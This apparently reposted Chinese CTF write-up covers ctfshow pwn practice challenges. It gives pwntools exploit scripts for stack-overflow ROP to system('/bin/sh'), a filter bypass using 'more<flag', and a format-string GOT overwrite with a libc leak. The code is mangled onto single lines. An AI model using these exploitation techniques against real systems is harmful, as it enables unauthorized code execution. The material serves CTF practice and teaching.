PWN-PRACTICE-CTFSHOW-5

• • BJDCTF2020-router
  • 36D杯-簽到
  • 36D杯-babyFmtstr
  • 36D杯-MagicString

BJDCTF2020-router

36D杯-簽到

棧溢出，用ROPgadget找到一個"sh"字符串，ROP，程序過濾了cat和空格，more<flag繞過即可

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28041) elf=ELF("./pwn1")system=elf.plt["system"] sh=0x601040 pop_rdi=0x4006d3 ret=0x4004cepayload="a"*0x20+"b"*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system) io.sendline(payload)io.sendline("more<flag")io.interactive()

36D杯-babyFmtstr

格式化字符串漏洞
1、改寫memset的got為main函數地址，重復利用格式化字符串漏洞
2、利用格式化字符串漏洞，泄露libc，得到system真實地址
3、改寫printf的got為system真實地址
4、輸入/bin/sh\x00

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28041) elf=ELF("./pwn1")#gdb.attach(io,"b * 0x400D81") #pause()#改寫memset的got為main函數地址 memset_got=elf.got["memset"] main_addr=0x400E93 payload="%3731c"+"%10$hnaaaa"+p64(memset_got) io.sendlineafter("please input name:\n",payload)#泄漏libc puts_got=elf.got["puts"] payload="%9$saaaa"+p64(puts_got) io.sendlineafter("please input name:\n",payload) puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("puts_addr=="+hex(puts_addr)) libc_base=puts_addr-0x06f690 system=libc_base+0x045390 print("system=="+hex(system))#改寫printf的got為system真實地址 printf_got=elf.got["printf"] def set_printf_to_system(system):printf_got_addr=printf_gotx = system & 0xffffffffa = x & 0xffffa1 = printf_got_addrb = (x>>16) & 0xffffb1=printf_got_addr+2if(a>b):tmp=aa=bb=tmptmp=a1a1=b1b1=tmps="%"+str(a)+"c"s+="%12$hn"s+="%"+str(b-a)+"c"s+="%13$hn"for i in range(32-len(s)):s+='a's+=p64(a1)s+=p64(b1)return spayload=set_printf_to_system(system) io.sendlineafter("please input name:\n",payload)#輸入/bin/sh io.sendlineafter("please input name:\n","/bin/sh\x00")#pause()io.interactive()

36D杯-MagicString

棧溢出，利用look_here函數將字符串"ti"變為"sh"，再ROP執行system("/bin/sh\x00")即可

# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28137) elf=ELF("./pwn1")main_addr=0x400661 system=elf.plt["system"] look_here=0x40062D ti=0x60104d binsh=0x601048 pop_rdi=0x400733 ret=0x4004d1io.recvuntil("a girlfriend!\n") payload="a"*0x2a0+"b"*8+p64(pop_rdi)+p64(ti)+p64(look_here)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system) io.sendline(payload)io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-CTFSHOW-5的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。